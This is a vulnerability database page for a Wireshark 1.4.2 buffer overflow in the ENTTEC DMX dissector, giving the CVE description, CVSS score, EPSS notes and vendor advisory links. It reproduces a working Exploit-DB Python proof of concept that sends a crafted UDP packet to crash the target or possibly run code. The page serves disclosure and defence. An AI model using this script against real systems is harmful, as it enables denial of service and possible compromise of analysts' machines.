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CVE Descriptions
Buffer overflow in the sect_enttec_dmx_da function in epan/dissectors/packet-enttec.c in Wireshark 1.4.2 allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted ENTTEC DMX packet with Run Length Encoding (RLE) compression.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 15898
Publication date : 2011-01-02 23h00 +00:00
Author : non-customers crew
EDB Verified : Yes
# source: https://www.securityfocus.com/bid/45634/info
#!/usr/bin/env python
# Wireshark ENTTEC DMX Data (UDP) Buffer Overflow PoC
# by non-customers crew in 2010
# http://rock-madrid.com/
import socket, sys
try:
host = sys.argv[1]
except:
print "usage: " + sys.argv[0] + " <host>"
sys.exit(2)
port = 3333
addr = (host, port)
data = "ESDD\x10\x20\x04"
data += "\x00\x0c"
data += "\xfe\xff\x41"
data += "\xfe\xff\x42"
data += "\xfe\xff\x43"
data += "\xfe\xff\x44"
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
udps.sendto(data, addr)
except:
print "can't lookup host"
sys.exit(1)
udps.close()
sys.exit(0)
Products Mentioned
Configuraton 0
Wireshark>>Wireshark >> Version 1.4.2
- Wireshark>>Wireshark >> Version 1.4.2 (Open CPE detail)
- Wireshark>>Wireshark >> Version 1.4.2 (Open CPE detail)
- Wireshark>>Wireshark >> Version 1.4.2 (Open CPE detail)
References
http://lists.fedoraproject.org/pipermail/package-announce/2011-January/053061.html
Tags : vendor-advisory, x_refsource_FEDORA
Tags : vendor-advisory, x_refsource_FEDORA
http://lists.fedoraproject.org/pipermail/package-announce/2011-January/053042.html
Tags : vendor-advisory, x_refsource_FEDORA
Tags : vendor-advisory, x_refsource_FEDORA
http://www.mandriva.com/security/advisories?name=MDVSA-2011:002
Tags : vendor-advisory, x_refsource_MANDRIVA
Tags : vendor-advisory, x_refsource_MANDRIVA
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14937
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
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